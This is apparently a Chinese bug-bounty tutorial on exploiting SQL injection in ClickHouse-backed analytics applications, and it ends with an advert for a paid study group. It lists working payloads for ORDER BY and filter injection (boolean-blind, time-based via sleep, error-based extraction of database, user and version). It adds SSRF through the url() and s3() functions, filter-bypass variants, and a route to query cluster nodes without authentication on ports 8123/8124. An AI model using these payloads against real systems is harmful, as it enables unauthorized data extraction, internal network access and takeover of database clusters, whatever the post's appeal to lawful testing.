前言
团队师傅在国内外SRC的clickhouse的sql注入挖掘中，累计金额已超30w+，秉持一个技术forfree的思想，还是抽时间整理了一些技术点，希望能够对各位师傅带来一些帮助。
Clickhouse的介绍以及特点：
ClickHouse是一个由Yandex开源的基于列存储的数据库，专门为实时数据分析设计，其处理数据的速度比传统方法快100-1000倍。ClickHouse 和 MySQL 类似，把表级的存储引擎插件化，根据表的不同需求可以设定不同的存储引擎。目前包括合并树、日志、接口和其他四大类 20 多种引擎。
从现有市场应用来看，ClickHouse广泛运用于电商及数据分析平台，已知的国内用到的公司有：腾讯、阿里、华为、字节、京东、拼多多等，基本上大厂都会有用到（数据分析）。有的会原装不动的使用clikhouse，有的则会基于clickhouse去进行二开和性能的进一步优化。无论是clickhouse还是基于clikhouse二开，在语法和sql注入的判断上，基本相似。
言归正传，进入干货正题～
Clickhouse-sql注入的出现点：
举几个大家经常能看到的页面，也是sql注入存在频率最高的地方：
1、数据分析统计
2、自定义热力图分析
3、查询筛选
等等其他存在数据刷新统计的功能页面。
总结来说：但凡是涉及到数据统计分析的地方，都可以着重关注下，这种地方必然会有sql的查询调用，所以自然而然sql注入存在的几率也大。
clickhouse的常规利用：
1、如何判断/证明存在sql注入，大概整理了下面3点
1）对于存在筛选的功能，会存在一些时间参数以及排序，此种情况下，使用单引号拼接进行注入判断，最明显的为时间参数，报错注入时会把sql语句报出，盲注则会返回“系统错误”以及不同的响应长度等信息，如：
对于此类，总结下就是对于数据包中的参数去进行单双引号的fuzz，如果能有报错或者返回包长度不一样，也可以初步推测可能存在sql注入，推荐一个bp插件(大家应该都用过)：https://github.com/smxiazi/xia_sql，为减少误报和覆盖范围对插件稍做了下改动。
2)出现比较多的是排序场景，但凡是页面功能有排序的功能，都可以点一下，此处判断相对简单，以oderby为例("orderby":"adShow")，列几个排序注入判断的方法：
A:orderby后面的列可直接拼接sql语句
1当"orderby":”adShow,1”返回true，"orderby":”adShow,x”或"orderby":”adShow,0”返回false时，大概率存在注入，orderby后面直接跟sql语句即可注出数据。
B:一些情况下orderby后面不可用逗号去连续写sql语句，此时判断更简单：
1当"orderby":”1”返回true，"orderby":”x”或"orderby":”0”返回false时，大概率存在注入，orderby后面直接跟sql语句即可注出数据。
注意：根据排序的特性，此处的0或者x表示表里面存在的列数-列名，如果存在sql注入，输入一个大于表里面的列数或者表里面不存在的列名，sql语句均会进行报错。
来个数据包结构图：
3)还是以筛选为例，仔细观察下数据分析筛选相关功能的时候，会发现其实筛选都会根据列去进行筛选，如果没做防护，也会存在sql注入：
此处会有个小细节，一般筛选的时候，会有个type或者op的字段，type表示类型，对应有int、string等（有些可能用数字1、2、3这种代替），对于一些注入的判断，需要去对类型进行fuzz，如果默认数据包对应的类型不报错，可能type换成其他类型时，也可能会报错，从而进行sql注入利用。
Clickhouse有个特性，toInt64(if(1=1,1,exp(71000)))时为true，toInt64(if(1=2,1,exp(71000)))时为false，因此我们可以用toInt64(if(1=1,1,exp(71000)))去进行快速的sql注入证明：
2、常见的sql注入判断、获取表、用户等信息语句
整理了一份挖掘常用的sql注入判断及证明的payload，不熟悉的可以自己搭建一个环境去测试一下，语句如下：
1判断注入点
2SELECT * from my_new_table order by CAST(create_time AS String); 使用CAST转换字段类型后正常排序
3SELECT * from my_new_table order by sleep(1); 延时
4SELECT * from my_new_table order by if(1=1,id,1); 当存在字段id时使用if正常排序
5SELECT * from my_new_table order by name;select sleep(1);堆叠延时
6SELECT * from my_new_table order by (SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))
7SELECT * from my_new_table order by id,1 不报错
8SELECT * from my_new_table order by（1=1?1:1) 和 SELECT * from my_new_table order by if(1,1,1)效果相同，某些情况下如果if被禁用可用来绕过
9
10
11boole盲注
12SELECT * from my_new_table order by toInt64(exp(1)) 不报错
13SELECT * from my_new_table order by toInt64(exp(710)) 报错
14SELECT id from my_new_table order by toInt64(if(1=2,1,exp(71000)))
15SELECT id from my_new_table order by hex(if(mid((select user()),1,1)='d','a','z'))=1
16SELECT/**/POSITION('22'/**/IN/**/version()) 判断当前数据版本
17SELECT/**/POSITION('22'/**/IN/**/user()) 判断当前用户信息，若括号过滤可用current_user代替
18
19
20延时注入（sleep和sleepEachRow均可用）
21SELECT id from my_new_table order by if(1=2,1,sleep(1)) sql注入延时判断
22SELECT id from my_new_table order by if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))) sql注入判断
23SELECT id from my_new_table order by (select/**/sleep((database()/**/like/**/'%d%')?1:0)) 获取数据库
24sleep(version() like’%' 获取数据库版本
25sleep(user() like’%’ 获取用户,若括号过滤可用current_user代替
26sleepEachRow(user()like'%default%'
27if(1=1,1,sleep/**/(if(left(database(),7)='default',3,0))) 获取数据库
28
29
30报错注入
31select data_path from system.databases where 1=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))
32'||currentDatabase()||’ 获取当前数据库
33'||user()||’ 获取当前用户，,若括号过滤可用current_user代替
34select currentDatabase() 获取当前数据库
35select user() 获取当前用户，,若括号过滤可用current_user代替
以上的payload都是针对排序后面直接拼接sql语句的场景，如果是通过单双引号去判断的sql注入，只需要通过1‘and’1’=‘1或者1’or’1’=’1去进行闭合即可拼接sql语句获取信息。
Clickhouse的深入利用（SSRF及获取数据库集群权限）：
1、SSRF的利用方式及绕过
Clickhouse的SSRF根据目前实战的经验来看，主要是由URL函数和S3函数未禁用导致的，URL函数未禁用的情况居多，S3函数取决于业务是否需要提供 S3 特定的功能。
1）由URL函数引起的SSRF漏洞
Clickhouse官方文档针对URL函数的说明及用法如下：https://clickhouse.com/docs/en/sql-reference/table-functions/url
用法很简单，直接套语句拼接即可，直接放几个常用的SSRF漏洞利用证明语句：
1针对报错注入场景，使用select * from url(‘https://www.baidu.com', CSV, 'column1 String, column2 UInt32’) 回显百度主页的内容，及证明存在ssrf漏洞 2若是盲注，若需要SSRF漏洞利用，则需要进行字符串截取（难度较大，危害可能会降低），toInt64(if((select substring(c,1,1) from url(‘https://www.baidu.com',TabSeparated,'c String') limit 0,1)='A',1,exp(71000)))
2)由S3函数引起的SSRF漏洞:https://clickhouse.com/docs/en/sql-reference/table-functions/s3
简单的验证payload：
1s3('https://www.baidu.com',RawBLOB)
2SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames’) LIMIT 5;
3s3('https://www.baidu.com','CSVWithNames'
放几个实战中针对clickhouse或者clickhouse二开的函数url绕过的payload：
1SELECT * from `url\\\\\\\\x23`(‘https://www.baidu.com',TSV,'column1 String’) 2(select/*//**/1,*,1/**/from/*//**/url('https://www.baidu.com',CSV,'column1 String') ) as a
2、URL函数后的深入利用
通过SSRF证明内网连通性以及访问元数据相关的危害不多做说明，大家需要注意点到为止即可。我补充下敏感数据层面的深入利用：
Clickhouse有很多system表，具体信息可以参考下官方的文档：
system.clusters表，存储数据库集群的节点信息，可以通过相关查询控制数据库集群权限。
大概思路就是：先通过查询system.clusters表获取数据库集群的ip信息，再利用clickouse默认会使用一个组件导致会开启8123或者8124端口的特性，从而可以去未授权查询数据库集群里面的所有数据信息：
1select * from system.clusters 返回数据库集群ip以及端口开放情况 2SELECT * from url(http:/192.168.1.1:8123?guery=show tables',CSV,'column1 String’) 利用8123或者8124端口，通过query后拼接sql语句未授权查询数据库信息（理论上是DBA权限）
关于后续
基础的技术分享基本就到此结束了，后续有想到再做补充（写文章的时间东拼西凑，思路比较乱）。
本来是打算分享几个国内外的数据库集群接管以及绕过的挖掘案例的，但是考虑到篇幅以及影响，就不在文章做分享了，但是相关技术会在团队内进行复盘分享。
同时也希望各位师傅能够严格遵守网络安全法，在日常SRC的挖掘中也要严格遵守规则，守住底线，做一个网络安全的守护者。
如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款